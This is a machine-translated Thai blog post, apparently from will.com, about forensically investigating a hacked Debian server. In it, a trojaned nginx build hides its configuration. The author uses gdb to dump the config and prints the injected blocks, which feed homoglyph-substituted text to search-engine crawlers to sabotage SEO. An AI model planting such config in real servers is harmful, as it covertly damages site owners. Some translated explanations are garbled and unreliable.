เรื่องราวอันไม่พึงประสงค์ที่สุดเกิดขึ้นกับเพื่อนคนหนึ่งของฉัน แต่ถึงแม้จะกลายเป็นเรื่องไม่พึงประสงค์สำหรับมิคาอิล แต่มันก็สนุกสนานสำหรับฉันเหมือนกัน
ฉันต้องบอกว่าเพื่อนของฉันค่อนข้าง ยูนิกซ์-user : สามารถติดตั้งระบบได้เอง MySQL, PHP และทำการตั้งค่าง่ายๆ Nginx.
และเขามีเว็บไซต์เกี่ยวกับเครื่องมือก่อสร้างจำนวนหนึ่งหรือครึ่งเว็บไซต์
หนึ่งในไซต์เหล่านี้สำหรับเลื่อยไฟฟ้าโดยเฉพาะอยู่ในอันดับต้น ๆ ของเครื่องมือค้นหา ไซต์นี้เป็นผู้ตรวจสอบที่ไม่ใช่เชิงพาณิชย์ แต่มีคนติดนิสัยชอบโจมตีไซต์นี้ ที่ DDoSจากนั้นใช้กำลังดุร้าย จากนั้นพวกเขาก็เขียนความคิดเห็นที่ลามกอนาจารและส่งการละเมิดไปยังโฮสต์และ RKN
ทันใดนั้นทุกอย่างก็สงบลงและความสงบนี้กลับกลายเป็นว่าไม่ดี และเว็บไซต์ก็เริ่มค่อยๆ ออกจากบรรทัดบนสุดของผลการค้นหา
นั่นคือคำพูดแล้วเรื่องราวของแอดมินนั่นเอง
ใกล้ถึงเวลานอนแล้วโทรศัพท์ก็ดังขึ้น: “ซาน ไม่ดูเซิร์ฟเวอร์ของฉันหน่อยเหรอ? สำหรับฉันดูเหมือนว่าฉันถูกแฮ็ก ฉันไม่สามารถพิสูจน์ได้ แต่ความรู้สึกไม่ทิ้งฉันไปเป็นเวลาสามสัปดาห์แล้ว บางทีอาจถึงเวลาที่ฉันต้องเข้ารับการรักษาอาการหวาดระแวงแล้ว?”
ต่อมาเป็นการอภิปรายครึ่งชั่วโมงโดยสรุปได้ดังนี้
- ดินสำหรับการแฮ็กค่อนข้างอุดมสมบูรณ์
- ผู้โจมตีอาจได้รับสิทธิ์ผู้ใช้ระดับสูง
- การโจมตี (หากเกิดขึ้น) มุ่งเป้าไปที่ไซต์นี้โดยเฉพาะ
- พื้นที่ปัญหาได้รับการแก้ไขแล้วและคุณเพียงแค่ต้องเข้าใจว่ามีการเจาะหรือไม่
- การแฮ็กไม่สามารถส่งผลกระทบต่อรหัสไซต์และฐานข้อมูล
ว่าด้วยประเด็นสุดท้าย.
มีเพียง IP ส่วนหน้าสีขาวเท่านั้นที่มองออกไปทั่วโลก ไม่มีการแลกเปลี่ยนระหว่างแบ็กเอนด์และส่วนหน้า ยกเว้น http ผู้ใช้/รหัสผ่านแตกต่างกัน ไม่มีการแลกเปลี่ยนคีย์ ที่อยู่สีเทา พอร์ตทั้งหมดยกเว้น 80/443 จะถูกปิด IP แบ็กเอนด์สีขาวนั้นมีเพียงผู้ใช้สองคนเท่านั้นที่รู้จัก ซึ่งมิคาอิลไว้วางใจอย่างสมบูรณ์
ติดตั้งที่ส่วนหน้า Debian 9 และเมื่อถึงเวลาโทร ระบบจะถูกแยกออกจากโลกด้วยไฟร์วอลล์ภายนอกและหยุดลง
“โอเค ให้สิทธิ์ฉันเข้าไป” ฉันตัดสินใจเลื่อนการนอนหลับไปหนึ่งชั่วโมง “ฉันจะเห็นด้วยตาของฉันเอง”
ที่นี่และเพิ่มเติม:
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
กำลังมองหาแฮ็คที่เป็นไปได้
ฉันเริ่มเซิร์ฟเวอร์ก่อน โหมดช่วยเหลือ. ฉันเมานต์ดิสก์แล้วพลิกดูมัน รับรองความถูกต้อง-บันทึก, ประวัติบันทึกของระบบ ฯลฯ หากเป็นไปได้ฉันจะตรวจสอบวันที่สร้างไฟล์แม้ว่าฉันจะเข้าใจว่าแครกเกอร์ปกติจะ "กวาดล้าง" ตามหลังตัวเขาเองและมิชาก็ "เหยียบย่ำ" ไปมากแล้วในขณะที่เขากำลังมองหาตัวเอง .
ฉันเริ่มต้นในโหมดปกติ แต่ยังไม่เข้าใจจริงๆ ว่าจะมองหาอะไร ฉันศึกษาการกำหนดค่า ก่อนอื่นผมสนใจ. Nginx เนื่องจากโดยทั่วไปแล้ว ไม่มีอะไรอื่นในส่วนหน้ายกเว้น
การกำหนดค่ามีขนาดเล็กและมีโครงสร้างที่ดีเป็นไฟล์หลายสิบไฟล์ ฉันแค่ดูมันเท่านั้น แมว'โอ้ ทีละคน ดูเหมือนทุกอย่างจะสะอาด แต่คุณไม่มีทางรู้ว่าฉันพลาดอะไรบางอย่างไปหรือเปล่า ประกอบด้วยให้ฉันจัดทำรายการแบบเต็ม:
$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful
ฉันไม่เข้าใจ: “รายการอยู่ที่ไหน”
$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
คำถามที่สองถูกเพิ่มเข้าไปในคำถามในรายการ: “ทำไมถึงมี nginx เวอร์ชันโบราณเช่นนี้”
นอกจากนี้ ระบบเชื่อว่ามีการติดตั้งเวอร์ชันล่าสุดแล้ว:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all small, powerful, scalable web/proxy server
ฉันกำลังโทร:
- Misha ทำไมคุณถึงประกอบใหม่ Nginx?
- ตื่นสิฉันไม่รู้ด้วยซ้ำว่าต้องทำยังไง!
- โอเค ไปนอนได้แล้ว...
Nginx ได้รับการสร้างขึ้นใหม่อย่างชัดเจนและผลลัพธ์ของรายการโดยใช้ "-T" ถูกซ่อนไว้ด้วยเหตุผลบางประการ ไม่มีข้อสงสัยใด ๆ เกี่ยวกับการแฮ็กอีกต่อไปและคุณสามารถยอมรับได้และ (เนื่องจาก Misha เปลี่ยนเซิร์ฟเวอร์ด้วยเซิร์ฟเวอร์ใหม่อยู่แล้ว) ให้พิจารณาปัญหาที่ได้รับการแก้ไข
และแน่นอนเมื่อมีคนได้รับสิทธิ์ ราก'อา ถ้าอย่างนั้นมันก็สมเหตุสมผลที่จะทำนะ' ติดตั้งระบบใหม่และไม่มีประโยชน์ที่จะมองหาสิ่งผิดปกติที่นั่น แต่คราวนี้ความอยากรู้อยากเห็นเอาชนะการนอนหลับได้ เราจะรู้ได้อย่างไรว่าพวกเขาต้องการซ่อนอะไรจากเรา?
มาลองติดตามกัน:
$ strace nginx -T
ลองดูแล้ว มีเส้นในการติดตาม a la ไม่เพียงพออย่างชัดเจน
write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "n", 1
เพื่อความสนุกสนาน มาเปรียบเทียบสิ่งที่ค้นพบกันดีกว่า
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
ฉันคิดว่าส่วนหนึ่งของรหัส /src/core/nginx.c
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
break;
ถูกนำมาเป็นแบบฟอร์ม:
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
//ngx_dump_config = 1;
break;
หรือ
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
break;
จึงไม่แสดงรายการตาม "-T"
แต่เราจะดูการกำหนดค่าของเราได้อย่างไร?
หากความคิดของฉันถูกต้องและปัญหาอยู่ที่ตัวแปรเท่านั้น ngx_dump_config.php มาลองติดตั้งโดยใช้ จีดีบีโชคดีที่มีกุญแจ --with-cc-opt -g นำเสนอและหวังว่าการเพิ่มประสิทธิภาพ -O2 มันจะไม่ทำร้ายเรา ในขณะเดียวกันฉันก็ไม่รู้ว่าต้องทำอย่างไร ngx_dump_config.php สามารถประมวลผลได้ใน กรณี 'ท':เราจะไม่เรียกบล็อกนี้ แต่ติดตั้งโดยใช้ กรณี 'ไม่':
ทำไมคุณสามารถใช้ '-t' เช่นเดียวกับ '-T'การประมวลผลแบบบล็อก ถ้า (ngx_dump_config) เกิดขึ้นภายใน ถ้า (ngx_test_config):
if (ngx_test_config) {
if (!ngx_quiet_mode) {
ngx_log_stderr(0, "configuration file %s test is successful",
cycle->conf_file.data);
}
if (ngx_dump_config) {
cd = cycle->config_dump.elts;
for (i = 0; i < cycle->config_dump.nelts; i++) {
ngx_write_stdout("# configuration file ");
(void) ngx_write_fd(ngx_stdout, cd[i].name.data,
cd[i].name.len);
ngx_write_stdout(":" NGX_LINEFEED);
b = cd[i].buffer;
(void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
ngx_write_stdout(NGX_LINEFEED);
}
}
return 0;
}
แน่นอนว่าหากมีการเปลี่ยนแปลงโค้ดในส่วนนี้และไม่เข้า กรณี 'ท':แล้ววิธีการของฉันจะไม่ได้ผล
ทดสอบ nginx.confหลังจากแก้ไขปัญหาด้วยการทดลองแล้ว พบว่าต้องมีการกำหนดค่าขั้นต่ำเพื่อให้มัลแวร์ทำงานได้ Nginx พิมพ์:
events {
}
http {
include /etc/nginx/sites-enabled/*;
}
เราจะใช้เพื่อความกระชับในบทความ
เปิดตัวดีบักเกอร์
$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188 src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}
http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:
[Inferior 1 (process 32581) exited normally]
(gdb) quit
เป็นขั้นเป็นตอน:
- ตั้งค่าเบรกพอยต์ในฟังก์ชัน () หลัก
- เปิดโปรแกรม
- เปลี่ยนค่าของตัวแปรที่กำหนดเอาต์พุตของการกำหนดค่า ngx_dump_config=1
- ดำเนินการต่อ/สิ้นสุดโปรแกรม
ดังที่เราเห็น การตั้งค่าจริงแตกต่างจากของเรา เราเลือกชิ้นส่วนกาฝากจากมัน:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
มาดูกันว่าเกิดอะไรขึ้นที่นี่ตามลำดับ
มุ่งมั่น User-Agentยานเดกซ์/google ของ:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
ไม่รวมหน้าบริการ WordPress:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
และสำหรับผู้ที่เข้าเงื่อนไขทั้งสองข้อข้างต้น
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
ในข้อความ HTML-หน้าเปลี่ยน 'โอ' บน 'โอ' и 'เอ' บน 'a':
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
ถูกต้อง ความละเอียดอ่อนเพียงอย่างเดียวก็คือ 'เป็น' != 'เป็น' เช่นกัน 'โอ' != 'โอ':
ดังนั้นบอทเครื่องมือค้นหาจะได้รับขยะดัดแปลงที่เจือจางด้วยภาษาละตินแทนข้อความซีริลลิกปกติ 100% 'a' и 'โอ'. ฉันไม่กล้าพูดคุยว่าสิ่งนี้ส่งผลต่อ SEO อย่างไร แต่ไม่น่าเป็นไปได้ที่ตัวอักษรที่สับสนเช่นนี้จะส่งผลเชิงบวกต่อตำแหน่งในผลการค้นหา
ฉันจะพูดอะไรได้พวกที่มีจินตนาการ
การอ้างอิง
ที่มา: will.com